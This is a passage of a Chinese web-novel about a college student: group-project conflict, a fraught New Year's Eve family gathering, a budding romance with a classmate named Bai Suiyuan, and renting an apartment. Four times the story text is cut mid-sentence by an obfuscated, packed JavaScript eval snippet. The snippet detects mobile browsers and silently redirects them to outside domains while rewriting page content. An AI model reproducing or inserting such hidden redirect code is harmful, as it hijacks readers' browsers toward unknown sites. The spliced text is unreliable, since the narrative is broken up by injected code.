“嗡嗡”，华可吟还想继续说，手机传来几声震动。 不想再听的孟雪乔示意快看手机，她觉得表妹现在肯定是强装镇静，害怕可吟再说下去心里又想前男友了。 华可吟打开软件，发现是项目小组的群聊又有几条新消息。 她往上翻，看到大部分组员都在消息后的三个小时内发送了自己的成果文档。 而另两个被对象拉进来的组员，其中一个女生在下午五点多发送文件，但那个被同在计算机系的女生拉进来的男朋友，直到刚刚才发出消息。 —马腾：最近太忙了，我这边还需要两个小时。 他一发，底下又有另一个负责和华可吟同一方向的组员也发立马跟上。 「我也是，我这几天事情有点多，实在没时间弄...」 第一个男生的女朋友叫李诺，是团队里负责代码工作的队员。她的能力应该也很强，那天在最前方老师身边讨论里几人中就有她。 在那两条消息出现后一片死寂的群里，是李诺先发了消息。 —李诺：距离通知已经半个多月，之前分工的时候不是说好今天交吗？@两人 之后华可吟默默想看后续，直到十一点多，她都洗漱完准备睡觉了，也没人再说话。 第二天早上，三个女生睡到自然醒，华可吟发现自己的手机昨天忘充电，已经关机了。 吃完程雨濛家保姆准备的早饭后，又看了部电影聊一上午天，在孟苏打侄女电话催促两人快点回家后，三人才依依惜别。 拒绝了程雨濛开车送她们回家的提议，等十几分钟才打到车。这片别墅区网约车本来就不多，大年二十九这天更是不少人已经暂停了工作。 总算上车，华可吟这时才打开自己的手机，发现有一串未读消息。 小组群在某一时刻，不知道被哪个人开启了匿名聊天，等到华可吟打开界面时，映入眼帘的正是水浒主题。 —林冲：有些人不免太混了吧，搜集资料时知网打开了吗？百度一下都比你写得多。 —武松：这个结果是要给指导老师看的，有些人真是从头就不干事啊。 —林冲：我建议组长别改，连人名一起交上去，让老师看看学术垃圾。 华可吟浏览战火纷飞的聊天记录，赶紧上滑去看争执源头。 凌晨三点，昨天第二个说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424079|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要延长时间的同学发了一个文件。由于是查找相同方向的资料，华可吟点进去后对这几篇论文很熟悉。 里面总结的三篇内容，正好是输入主题词后出来的引用量最高的几篇。正因如此，这三篇都是年代非常久远，内容过于广泛的资料，华可吟半个月前搜索后就pass了这几篇，信息量太少太老。 而马腾，在第二天中午十一点才发出一个明显比其他人内存都小的文档。 华可吟点进这个文档更是眉头一皱，这什么啊。 几段一看就是随意复制的资料，连排版都没有，怪不得群聊会沸腾到现在。 —吴用：某些人交出来的东西也太烂吧，我真是服了，参加个比赛小组里居然这么多关系户。 —鲁智深：同感，十五个人里居然有三四对裙带关系，数量惊人。 —林冲：人家有大腿抱呗。 —吴用：真希望我也有学霸男朋友啊～ —卢俊义：【斜眼笑】你有人家那么漂亮吗？ —董昭：谁知道@吴用是男是女呢，现在学术抱大腿不分男女... —鲁智深：关系户都不敢吭声了吧，难以想象后续我们要多做多少事，我室友他们正常的小组分工完成就很好。 —武松：@鲁智深呵呵，等后续吧，完蛋小组。 华可吟发现战火居然弥漫到了自己身上，她的资料明明交得很早！！！ 好在没多久群主就关闭了匿名功能，接着李诺发出一条消息。 —李诺：@马腾，你的不合格，再搜集一份。 —马腾：行吧。 —柏随远【群主】：最迟明天中午12点。 群里停止纠纷，气氛却更加怪异。华可吟也没想到这才做完第一阶段的任务，十五个人里就有这么多对小组不满的成员。自己作为“关系户”的一员，即使完成得不错，也容易被群体攻击到。 相比起华可吟的突然苦闷，柏随远大中午看到聊天记录倒是没什么波动，昨天华可吟的文件一发出来他就打开看了，可以说是非常用心。 他迅速终止匿名聊天，随后就收到了同班同学李诺的消息。 —李诺：不好意思啊，我男朋友是没做好，我替他道个歉，等会儿他会再发一份。 —李诺：真的很不好意思，让群里发展成这样，我去和他们私聊说吧。 —柏随远：不用。 李诺收到组长的回复很心累，她也觉得马腾这次做得有点过分，她发现群内消息的第一时间就打去电话，对方却一直没接。 联系不到马腾，李诺想了想，最后还是决定自己写文档。 她从中午开始搜索资料，熬到半夜两点才归纳好共三个部分、五篇国内文献五篇国外文献的文档，内容很扎实详尽，她这才放下心准备发给马腾，让对方上传到群里。 这时才意识到男朋友整天都没给自己回电话，点开整个下午晚上都没注意的手机聊天框，马腾倒是给她发微信了。 —马腾：刚醒，打那么多电话干什么？ —马腾：什么意思？我还得交一份？ —马腾：你自己说的话自己完成 看着这几行文字，李诺对着屏幕呆愣了几分钟，最后还是自嘲地笑了。 —李诺：我帮你做好了，你直接发吧。 30. 过年 第二天就是除夕，华荣不出意料地和往年一样，昨天下午就早退，在家做了一晚上需要炖煮的菜。今天一早，三人赶到华可吟奶奶家。 姑姑华菁和丈夫早就离婚了，平日是姑姑、表妹点点和爷爷奶奶一起住。 每年除夕还会有爷爷的弟弟一家人来团圆，也就是华可吟的叔公、叔婆、小叔、小婶，还有小堂弟。 “姐姐！”刚推开防盗门，穿着红色的连衣裙表妹点点就像只小鸟一样冲过来，喜气洋洋地叫华可吟。 姑姑也穿着红毛衣出来让几人快进去，爷爷奶奶正坐在沙发上看春晚前置节目。 客厅窗户上贴着窗花，屋内吊顶挂了两串烫金边的红灯笼，电视里传出春晚嘉宾们送祝福的声音，连背景音乐都既欢快又充满年味。 “爸妈，今年家里收拾得真喜庆。”孟苏忍不住感叹起来。他们一家不在家过除夕，除贴对联以外没多做装饰。 “都是小菁买哒。”奶奶笑呵呵地说，细细皱纹的手握住孟苏，让她坐下说话。 华可吟陪小表妹在阳台上玩，点点腼腆地看着华可吟戴的钻石耳钉夸好看。华可吟摸着妹妹的小脸蛋，忍不住捏了一下。 平时点点是不喜欢别人碰她的，但如果对方是漂亮的表姐，那就另当别论。小孩子有时候是最双标的生物。 没等多久叔公一家也来了。五口人一进门，原本宽敞的客厅就顿时显得拥挤起来。小叔家的堂弟正是顽皮的年纪，窜进来就几间房挨个跑进去玩。 华可吟趁机坐到餐桌旁，防止众人进来先聊起她。可这个动作还是被刚进门的小叔捕捉到了：“可吟，坐过来呀，成大学生就不理长辈了？” 华可吟心中黑线，小叔讲话一直怪腔怪调的。她匆匆和众人打过招呼，就表示自己想去帮忙，溜进了厨房。 厨房里，孟苏和华菁正边切菜边聊天，看到华可吟进来都露出笑容：“你小叔又说你了？” 没等华可吟回答，她爸华荣也开门进厨房，四个人并排根本站不开。偏偏这时一直被堂弟追着跑的点点也挤进来，个子小小靠着妈妈的腿，说要帮忙干活。 华荣只好拿着一筐肉，退到餐桌最靠近厨房的位置开始处理。 “大哥在家经常做饭吧。”小叔阴魂不散地跟过来，“还是你们单位清闲啊，尤其是活少的职位，我可真羡慕。” “你没事干就去处理下骨头。”华荣头也没抬，语气硬邦邦的。 这屋子里估计没几个平辈小辈喜欢小叔，他口头讨不到好又坐回到沙发上哄老人，客厅里一时笑声连连。 华可吟说是进来帮忙，父母和姑姑却仍旧当她是个孩子，看到她小叔没再继续找碴，孟苏就催华可吟出去玩。 “我也可以帮忙啊。”华可吟不服气地嘟囔，站在一边帮着递菜和厨具。 孟苏取笑她：“你在这就帮倒忙。” “嫂子，孩子大了真好，我家的还得这么多年才能上大学。”华菁在旁边语气很羡慕，点点还是太小，她怕厨房人多误伤孩子，把点点打发去餐桌。华菁想了想，觉得华可吟人优秀还孝顺，刚刚大哥一进门就炫耀了一番女儿买的礼物。 孟苏想起小时候经常生病的侄女，小姑子耗费了不少心力养孩子。戴着手套的手不好拍肩，她用肩膀靠靠对方安慰道：“小孩子一眨眼就长大，我现在还怀念可吟小时候古灵精怪的样子呢。” 有说有笑地做饭，华荣炒菜的时候忍不住向外看一点活都不干的堂弟一家，摇摇头还是没说什么，那四个字———大过年的。 五点多，丰盛的饭菜终于上桌，众人把圆桌围了个满。爷爷和叔公先举杯回忆一下以前，又说了几句勉励子女的吉祥话。随着第一筷落下，年夜饭正式开始。 现在不像以前，大家平时吃得就不错，年夜饭这次又剩不少菜。快速吃完饭后，华可吟帮忙把菜往冰箱里放，众人转移到客厅边吃果盘边看春晚。 合家团圆时刻热闹温馨得不得了，这时，小叔突然聊起华菁：“大伯，大伯母，我们单位新来个领导，人不错，离婚好几年了，要不我帮我姐...” “好啊，好啊。”老太太笑着拍手。 华菁是华家的遗传长相，五官好看，人也脾气好、好相处，在一家不太忙的单位上了十几年班。虽然一个人带着孩子和父母一起生活也是一种幸福，但爷爷奶奶那个年代的人，还是比较偏向于认为小一辈都应该找个人白头偕老。 “对方是什么样的人？”华荣警惕地问，他可不信这个年轻时就好吃懒做的弟弟会这么好心。 “我们单位一把手那个级别的，还是当年的大学生呢。”华小叔夸得天花乱坠，突然把他正挪动着身体要出去玩的儿子推给华可吟：“可吟带着弟弟妹妹去书房玩。” 把小孩都推进去，他们大人要讲正事了。 书房里，华爷爷收藏的书籍整齐摆放在书架上层，不少都是七80年代的老版书。 点点一进来就在某个角落里摸出来几张贴纸，要和华可吟一起给小公主换衣服，堂弟看没人理他，扬起声音指挥华可吟：“你只能和我玩。” 华可吟这时只觉得小孩子霸道得好笑：“为什么啊，点点还比你大呢。” 没想到下一刻男孩发出更刺耳的声音：“我爸爸说她不姓华！” 华可吟气得上前捂住男孩的嘴，旁边的点点已经哭了起来，男孩也立马甩开华可吟的手边往外跑边叫：“爸爸，堂姐欺负我！” 华可吟先安慰了点点两句，走出房间时外面的气氛很凝重。 华荣红着眼抽烟，孟苏冷冷地瞪对面的小叔，华菁低着头不讲话，老人们面面相觑。小叔小婶瘪着嘴干笑，看到华可吟出来才说了一句：“我不管你们怎么想，反正我真是为家里好。” 随即像是完全没注意到堂弟刚冲出来告状的事，对华可吟笑着说：“可吟，在大学怎么样啊？听说现在大学生毕业也不好就业呢。” 众人表情太怪，华可吟笑笑没接话，之后客厅也只有电视里传出的春晚节目声。 总算快到零点，华荣起身一把抱住点点：“走，舅舅带你们放烟花去。” 上阳不算大城市，因此没有禁烟花的通知，但是也减少了烟花点的审批，华荣跑很远才买回来几根逗小孩玩。 “把外套穿好。”孟苏迅速起身一起穿鞋下楼，她也不想待在这个客厅里。 老小区里回来过年的人很多，华可吟他们下楼时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431039|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小区里已经弥漫着一股浓浓的硝烟味，呛得华可吟打了个喷嚏。 华荣先拿出几根十连发的烟花，堂弟抢过一根就要点火。华荣心里暗骂真不是个省事的小孩，但还是得管。他握住小男孩的手把着往天上放了几道烟花，点点在旁边看得眼睛亮亮的。 孟苏也上前递给女儿一根，用哄小孩的语气对华可吟说：“小心啊，握到最后面。”之后双手抱着点点陪她放烟花。 华可吟是完全不怕的，她握着烟花筒，感受每一次震动后飞向天空绽放出的绚烂烟花，心里喜悦又激动。 她迫不及待地又点了一根，这次刚放两发，外套兜里的手机就开始边震动边响，把她吓了一跳。 放烟花可不能中途分心，她双手紧握，一直到放完整筒，电话铃声也停止了。 赶快从口袋里掏出手机，显示有一个未接来电——柏随远。 回拨后只“嘟”了一声，通话就被接通了。 在鞭炮声中听不到对方的声音，华可吟按住音量键放到最大才清晰起来。 “...外面放烟花吗？” “嗯！”华可吟不知道是被耳边的炮声，还是电话里柏随远经由听筒更富磁性的声音震得有点脸红，不自觉提高音量。 “你哪天返校？” 华可吟听到这个问题心跳加速了几秒，柏随远不会要来接自己吧，“就最后一天。” “嗯，别忘了周三小组会议。” “哦…”华可吟觉得自己想多了。 聊天又陷入了沉默，过了几秒那边才继续说话：“除夕快乐，放烟花开心吗？。” “开心啊...你呢？” “我也开心。”柏随远隐约听到华荣教训小孩小心点的声音，忍不住笑道：“替我跟叔叔阿姨拜年。” 华可吟心里默默吐槽了句，你才见过一次，我爸妈跟你都不熟，但口头还是回：“好，我一定。” “10、9、8...” 突然传来柏随远倒数的声音，华可吟很快意识到应该是零点要到了。 她一边看着爸爸在那边卡点点燃鞭炮，一边跟着柏随远的声音默念。 ... “3” “2” “1” 小区里同时响起无数道鞭炮声，华可吟的视线也迅速被身边升起的白色烟雾包围，好像隔绝了一切，嘈杂的世界里只有耳旁传来的低沉男声。 “可吟，新年快乐。” 温柔的语气像是一阵阵潮水包裹住了华可吟，还好下一秒空中如同核弹爆破般的万炮齐发转移了她的注意力，在满天喜气洋洋中，她的语气也沾上了些兴奋：“新年快乐！” 柏随远站在窗前看着空中绽放的朵朵烟花，心跳比平时快了几分，他清清嗓子再次开口：“可吟，我可以zhu...” 不等他说完，电话那头突然传出尖叫：“你为什么要烧点点的头发！！！！！” 察觉到那人手机已经离开耳边，柏随远一边猜想华可吟那边究竟发生了什么，一边无奈地笑笑。 接着，他对着空荡荡的电话，用气声缓慢重复了一遍刚才没说完的话。 “可吟，我可以…追你吗？” 31. 行李 “元宵才刚过就得上课，你们学校真是的。”孟苏一边往华可吟行李箱里塞秋裤，一边嘱咐：“不要急着脱外套，春捂秋冻，别再感冒了。” “知道啦，知道啦。”华可吟嘴上受不住妈妈的唠叨，心里却暖暖的，在父母不舍的道别中挥手，和程雨濛一起走进检票口。 高铁站人头攒动，有不少拖着大包小包的学生和返岗的打工人。 “我觉得好像昨天才从学校回家。”程雨濛双手捂头，不想面对即将上课的事实：“我的假期呢！谁偷走了我的假期！” 华可吟也幽幽叹了口气，目光放空：“像做了场梦一样。”她觉得大概没有哪个学生特别期待开学吧。 不…柏随远期待。 华可吟想到对方还没过完年，就通知了开学后的项目小组的会议时间，冷冰冰的语气push极了。 两人的车次是中午出发，现在刚过饭点。车厢里空调很暖和，阳光从车窗透进来，有股懒洋洋的感觉，让人昏昏欲睡。 程雨濛很快就在旁边仰躺打起盹，呼吸均匀平稳。华可吟撑着头眼皮越来越沉，觉得自己也马上要睡着了。 突然，小桌板上的手机几下震动。华可吟迷迷糊糊点开手机，是一个备注为“薇安杂志”的好友申请。 她瞬间清醒，通过邀请后，对方发来几条消息。 —Cindy：华老师，您好，我是《薇安》的编辑，Cindy。 —Cindy：我们近期正在策划“青年风尚”主题内容，您在新媒体领域的成就与我们的主题非常契合。诚挚邀请您作为本期访谈对象，分享您的故事。策划相关文件已发至您的工作邮箱，方便沟通一下吗？ 华可吟看到消息那一刻简直停止了呼吸，但她还是努力屏住激动，谨慎查看了自己邮箱收到的邮件和对方留下的信息，才确认对方确实是杂志社工作人员。 《薇安》前身为上世纪中叶在欧洲创立的时尚类刊物，04年中文版创刊。一直以最敏锐的潮流洞察力以及高质量的内容畅行全国，就连华可吟都在中学买过不少《薇安》杂志，欣赏上面的华服美妆。 她没想到自己也会有机会登上这样的杂志，虽然后续询问得知，这期专题的主要采访对象另有其人，但她还是为自己能拥有一小块版面而高兴。而且，Cindy说了，会给她以及另外三个嘉宾一起拍组写真放在内页。 这可是全国影响力最广的时尚杂志，能够上一次内页，华可吟猜她爸妈能炫耀几年。 孟苏和华荣过年时喜气洋洋和别人说“我女儿”的神色都仿佛出现在了华可吟眼前。 她兴奋地拍醒程雨濛，小声和对方分享这条消息：“雨濛，雨濛！快看！” 程雨濛起初还打着哈欠一脸疲惫，当看到“杂志”两字时眼睛立马睁大了。 克制住在安静车厢里尖叫的冲动，两个女生抱在一起无声庆祝，忍不住想象拍杂志会是什么样的。 “天呐，你会碰到模特吗？”程雨濛盯着华可吟的手机，又把聊天记录看了一遍，眼睛发亮。 “不知道啊，听说这期有夏希。”华可吟去网上搜了搜杂志，有一些已经被发出的消息。 “到时候帮我要张签名。”程雨濛捧着手祈求。夏希是老牌模特了，她外形气质优越，较为符合国人审美。只是以前走时装周热度很低，最近因为几组硬照有了讨论度。 华可吟爽快答应，手机又有消息提示。 柏随远刚到学校，正收拾寝室。他的行李只有一个手提包，把带回来的书按照大小排序，又把衣服一件件叠整齐后放进衣柜里。 整理完一切，柏随远看看表，想到华可吟上次电话里说的返校日期。 —road：在高铁上？ 华可吟收到这条消息，心头一跳，脑海里浮现过年前高铁站送别时柏随远的背影，生怕他现在又说要来接她，赶快打字回复。 —sing：有人和我一起，不用接 对方几乎是秒回。 —road：我今天有事。 他也在半个小时前才到学校，和辅导员交涉换寝室的事情后，老师遗憾地表示没有人愿意住到他们宿舍。 而且他今天还要去找学长谈话，肯定是没时间再花将近三个小时往返高铁站。 华可吟顿时耳根发红，感觉有点尴尬。人家明明没有来接自己的意思，她自作多情想了这么多！ 她轻咬嘴唇，有些懊恼地只回复了一个字，随后还学对方特意加上句号。 —sing：嗯。 柏随远没察觉出华可吟百转千回的小心思，回了个笑脸。 高铁很快到站，华可吟拎着行李走出出站口时，还是不自觉朝人群望了望。 真的不在。 不来接人问那么多次干什么！ “可吟，怎么了？”程雨濛刚在网约车平台下好单，转身去问停下脚步的华可吟，“有东西没带吗？” “没。”华可吟摇头，也说不上自己这股失落是哪里来的，连忙跟上雨濛。 两个人带了三个大箱子，主要是程雨濛妈妈给她装了不少东西，新衣服、特产、生活用品，满满当当的两个行李箱。导致两人上车、下车，以及到接客口的路上都费了一番功夫。 程雨濛从小就爱逃体育课，还好华可吟身体素质不错，不然路过的无数小台阶就够两人喝一壶了。 今天是2月9日，S大的寒假非常短，各个院系的同学在10号前就得陆续返校，周一就要开始正式上课。 因此高铁站去学校的这段路今天有点堵，车子在路上走走停停，行驶了一个多小时才到S大宿舍区门口。 校门口还有另几个同学也正下车，司机帮两人把箱子挨个拿下来时还抱怨了一句：“美女，你们的箱子真是太重了。” 华可吟看着程雨濛那两个大箱子，打算先把对方送去艺术院宿舍楼那边。 “我浑身腱子肉，你赶快回宿舍吧。”程雨濛拍拍大臂，做出一副我能行的样子，让华可吟别管她了。但她露出来的一截手臂，看起来比华可吟的还瘦弱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436152|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我就帮你拉过去，去你们宿舍还要经过一段小路呢。”华可吟态度坚定，一手拉一个箱子，程雨濛只好赶快抓着剩下的箱子赶上。 两人脚步不算快，刚走两步就见旁边警卫室走出来个男生，穿着黑色的短款外套和牛仔裤，挺拔帅气。 柏随远和门卫道了句谢后走到表情惊讶的华可吟面前：“我帮你们吧。” 这声音温柔又有磁性，像一阵风吹过华可吟因为搬行李劳累出一点薄汗的额头。 说罢，他把华可吟手上的东西接过来，径直往艺术院宿舍那边走。刚刚开门的时候听到了两个女孩的对话。 等华可吟反应过来，柏随远都走好几步了。男生个高腿长，步伐远又快，华可吟追不上。 感受到闺蜜神秘的眼神，华可吟当机立断拿过对方手上那个行李箱，埋头也往前冲，留下一句在程雨濛耳中称得上是恼羞成怒的“先送你去。” 程雨濛背着书包在后面也提起脚步追，边跑边想：这对疑似小情侣一人拿一个自己的箱子，留下箱子的主人两手空空，算怎么回事啊。 三人以一种诡异的间隔到了程雨濛宿舍楼下，她立马上前从两人手中接过行李箱，连连感谢道：“谢谢，谢谢，你们快去可吟宿舍吧，我室友等会下来接我。” 她刚在车上就给室友发过消息，寝室里的两个室友立马说要下来帮她搬箱子。 柏随远暗暗点头，原来女生宿舍还会互相搬行李啊，他都不知道。 因此在到公管院宿舍楼下时，华可吟语气轻柔道谢，柏随远简单回复后就与之道别了。 华可吟用手拍拍还带着点热气的脸颊，做了会心理建设才单手抬起行李箱一步步往上走。 S大的宿舍室内设施不算差，但只有几栋后期加建的宿舍楼有电梯。华可吟这栋当然是没有，她拎着将近三十斤的箱子，不说提不动，但也是左手倒右手，才坚持搬到了6楼。 像是程雨濛那样叫关系好的室友接她是不可能的，她们的宿舍微信群在放假的那一天就沉了下去，她当然不好意思人家来帮她干体力活。 华可吟一刷开门，屋子里有两个室友在。 李凌和华可吟打了个招呼后就继续低头做题，赵子彦则是拉着帘子躺在自己床上。 没多休息，华可吟立马去打水先把落灰的桌柜擦了遍，接着又铺床扫灰，像只勤劳的小蜜蜂收拾出了今天睡觉的地方，这一打扫就忙到了晚饭时间。 她下楼前询问李凌要不要带饭，李凌摇头说自己有零食。 反倒是一直没露面没出声的赵子彦在床帘里说要吃食堂一楼的炒饭，接着就把饭钱先转了过来。 对方的声音明显闷闷的，华可吟眼神疑惑地看向李凌，李凌立刻用口型小声告诉华可吟：“今天刚分手。” 华可吟并不记得上学期期末室友们有什么恋情，但她一向对同学的事知之甚少。 只是在打饭的时候，华可吟还是专门对阿姨说了句：“多一点。” 毕竟流眼泪也是要消耗热量的。 32. 租房 柏随远在学长教室一直待到晚饭时间才回寝室，他们宿舍群前几天说好人齐后打扫卫生。 一打开门，一股混杂着汗液和潮湿味道的空气迎面袭来，其中还有点难以形容的下水道味。 他皱了皱眉，目光看向里侧半掩着门的卫生间。忍下不悦坐回自己的位置，从六点半等到七点多。 宿舍长起身在床位和卫生间之间来回好几趟，最后还是忍不住脸色不太好看地抱怨了一句：“说好今天七点打扫卫生的，现在都七点二十了，陈东怎么还没回来，发消息也不回。” 另一个室友正在床上打游戏，闻言头也不抬随口说：“下次再打扫呗。” 寝室长没办法继续忍受厕所空置了一个月后的反味。刚看到柏随远朝厕所望去的表情也不算好，他扬声问：“这...随远你说呢？” “今天比较合适。”柏随远话讲得平静，语气却莫名有种不容反驳的感觉。 其他两人都不回话了，宿舍静悄悄的。直到快九点陈东才推门进来，他把书包往桌上一甩，随口道：“不好意思，看书忘了。” 寝室长看着他的态度心里有点不舒服，但他不想和对方产生正面冲突。 最后，他还是压低声音在陈东耳边催了一句：“刚才随远说想今天早点干完。” 陈东脸色一僵，他在图书馆研究了半天上学期的成绩，本来以为还不错的排名，一加上综测就什么也不是了。 他觉得那些活动有不少毫无含金量，正气愤不已。回来看到不论是考试成绩还是综测加分都是第一的柏随远，心态就更不平衡了。 “要不是柏随远卡着点返校，我们昨天就能打扫完了。”陈东冷笑一声。说完他想起对方上次那一拳，又接着对床上的室友说：“那就快点开始啊，还躺着干什么？” 柏随远还没开口，那边室友先炸了：“明天再打扫不行？自己迟到还好意思催别人！” 他游戏连输几局，正有气没处撒呢。 “你大爷的，老子刚进来道过歉没？”陈东看着室友乱糟糟的头发，想到对方好像中午就在床上。天天打游戏的人居然好意思看不起他。 而且他觉得男生宿舍脏点怎么了，他在家从来不做家务，不也活得好好的，为这事道个歉已经态度很好了。 “你有病吧，迟到还拽上了？”室友猛地坐直。 “草，你什么语气。” 两人高声吼叫，越吵越凶，震得旁边宿舍都传来开门声。寝室长赶紧上前拉架，生怕又有人打架把辅导员招来了。 两人这才没再继续，寝室只剩下压抑的沉默。 十一点多，爱玩游戏的室友在床上喊了声“熄灯”，陈东阴沉着脸爬上床，宿舍长叹口气也去洗漱。 柏随远忙完电脑上的事，到十二点才躺下。他照常先去华可吟的主页看看对方有没有更新，认真看完了最新的购物分享，然后开始思考租房的事。 学长今天和他提了去公司兼职的想法，对方的公司刚刚起步，虽然架构还不算成熟，但柏随远看过对方的项目想法，觉得前景不错。 学长也很有诚心，给他的兼职工资不少，除了想让他参与项目，可能也是想尽早为自己的公司吸取人才。 群体生活总是会有摩擦，不同性格的人产生碰撞。像是他们宿舍今天发生的这种，可能都不算学校里的大矛盾。 但这样的事不论再小，都无疑是很消耗情绪的，更何况寝室里有陈东这个爱打呼噜的搅屎棍。他想起来，对方今天甚至是完全没洗漱就上床睡觉了。 摇摇头翻出新学期的课表，柏随远立刻决定周二午饭后就去找房子。反正他的生活用品很少，收拾一下搬家很方便。 S大历史悠久，校区都坐落在繁华的市内大学城，附近交通非常方便，房价相对比较高。不过房客流通也快，不少同学会只租住一学期或几个月，因此中介的效率极高。 “这是顶楼两室，采光非常好。”中介穿着套装，露出职业微笑。 华可吟踮脚看了看显得有些旧的柜子，又去检查了一番略有霉味的厕所，心里暗暗摇头。 “这地段比较好，离地铁口只有一百米，价格是xxxx” 这下连对价格不明显程雨濛都听得出来太高了，连忙说：“咱们去看下一套吧。” 中介看出两人的不满意，心中得意。这就是让客人先降低期待的房子，等会儿去看的才是他觉得能够成交的房源。 青年公寓的loft明显设施和家具都更好。挑高空间里，木色家具在阳光照耀下显得很温馨，开放式厨房上的金属灶台被擦得增光发亮。 “S大有不少学生都在这个公寓租房住，离学校只有几分钟车程。”中介递上两瓶瓶装水热情介绍：“楼下管家是24小时服务的，可以代收快递，外卖也有人送上楼。安保非常正规，每周还有附带的一次免费保洁服务。” 华可吟点点头，这个距离她完全可以买辆自行车上下学了。 二楼还有个小储藏室，中介很有眼力见地建议：“可以改成衣帽间，你们这种美女衣服肯定不会少啦，哈哈哈哈哈。” 忽略中介油腻的笑容，华可吟仔细检查了一番房间里的储物空间。 程雨濛坐在裹着塑料的床垫上试弹性，华可吟迅速在心里规划了一下。宿舍渐渐要放不下她的物品了，衣柜和桌面都放满各种各样的东西。 她的自媒体副业决定了她得购买、对比更多商品，现在这堆东西终于有了去处。 目光从开放的二楼空间朝下看，光线不错的阳台前甚至能搞出一个背景整洁的拍摄场景。 中介觉得这单要成了，目标突然转向另一个客户：“这位美女要不要也租房啊，旁边那间刚空出来。” “我住段时间看看这房子到底怎么样吧。”华可吟找理由一口回绝坚持不舍的中介。她出发前就问过，程雨濛这几个月要泡在工作室，还不打算租房。 没敢表现得太过满意，华可吟又砍了砍价，才拿过中介递来的租房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442465|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合同，准备去店铺里认真看过再签。 三人出门走向电梯，谁都没注意走廊尽头跟在另一个中介身后的高大男生。 柏随远正皱眉查看隔壁房间，他用手机一一给水电表和房间墙面留档，才又低下头继续细读租房合同。 “帅哥，你真专业。”中介都没想到看起来就是个没毕业的男生，租房时居然这么仔细。 柏随远闻言没答话，而是直接在合同上签下自己的名字。 电梯门缓缓关闭，华可吟突然打了个喷嚏。程雨濛猛地抬头：“我去，这不会甲醛超标吧？” 中介连忙摆手澄清：“这间房都装修完好几年了，租户都走过三个了。” “不是不是。”华可吟揉着鼻子嘟囔：“不好意思，可能突然鼻子受凉了。话说…我们有漏看什么吗？” * 宿舍里只占了三、四平方的东西，华可吟蜗牛搬家似的忙了两天才整理好。留下一套洗漱用品和几件衣服，其余的都被一箱一箱搬到新家。 在网上购买的新家具和装饰品也到了，华可吟把公寓布置成暖色系的温馨小屋，在空处摆了不少毛绒玩具陪她。 周四下午，她邀请程雨濛来自己家住，两人瘫在沙发上边看电视边聊天。 “明天你们是不是又要换了？”程雨濛吃着薯片算算日子。 “嗯。”华可吟喝着果汁点头。 “可吟。”程雨濛转过身说：“明天我有事，没办法来陪你了。” 华可吟刚想说没关系，就想起来这特殊的节日——2月14日情人节。 “是和楚以诚？” “嗯...”程雨濛眼神飘忽，躲避华可吟八卦的视线。 “哈哈哈哈，行，去吧去吧。”华可吟笑着拍她：“约会愉快哦～” “也不是啦，就吃个饭。”程雨濛有点不好意思，立刻转到了另一个话题：“哎，那他到底算不算在追你？” 其实她毫不怀疑柏随远喜欢华可吟，她作为好朋友，觉得认识华可吟的人里不喜欢她的很少。 华可吟当然知道“他”指的是谁。最近几天太忙，华可吟没看到柏随远的身影，两人也没有发什么消息。 “...”华可吟没法回答这个问题，她觉得柏随远上次在车站的问话，还有新年准点的电话都有点暧昧。和刚认识时几乎不理人的态度一比，示好得很明显。 但对方像最近一段时间这样样完全断联的情况也不少，现阶段，两人还没到那种心照不宣的关系。 比如现在，明天就要互换了，对方居然提前一个消息都不给她发，搞得华可吟一整晚都频频拿起手机检查新通知。 最后，还是华可吟先打字。 —sing：我接下来几天没有事，打算就在家待着 等了十几分钟对方才回复。 —road：我也是。 华可吟看着那孤零零的三个字，心里不知道为什么有点不爽。 话少无聊的男人！ 33. 第四次 14号晚上，华可吟闭着眼平躺在床上，双手交叠放在腹部。 她已经习惯了这个互换时间，因为上次痛到掉下椅子的经历，她这次选择更安全的姿势等待它的到来。 三、二、一。 …果然更痛了。 